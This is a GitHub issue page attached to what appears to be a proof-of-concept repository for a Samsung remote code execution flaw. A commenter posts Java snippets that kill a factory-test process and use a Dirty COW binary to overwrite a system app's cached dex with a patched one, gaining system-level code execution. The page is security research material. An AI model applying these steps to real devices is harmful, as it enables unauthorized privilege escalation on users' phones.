nowsecure / samsung-ime-rce-poc

Samsung Remote Code Execution as System User
https://www.nowsecure.com/blog/2015/06/16/remote-code-execution-as-system-user-on-samsung-phones/
121 stars 62 forks source link

Some tips on using this :) #5

Open markostamcar opened 3 years ago

markostamcar commented 3 years ago
((ActivityManager) getSystemService(ACTIVITY_SERVICE)).killBackgroundProcesses("com.sec.factory");

new ProcessBuilder(dirtycow.getAbsolutePath(), patched_odex.getAbsolutePath(), 
"/data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex").start().waitFor();

((ActivityManager) getSystemService(ACTIVITY_SERVICE)).killBackgroundProcesses("com.sec.factory");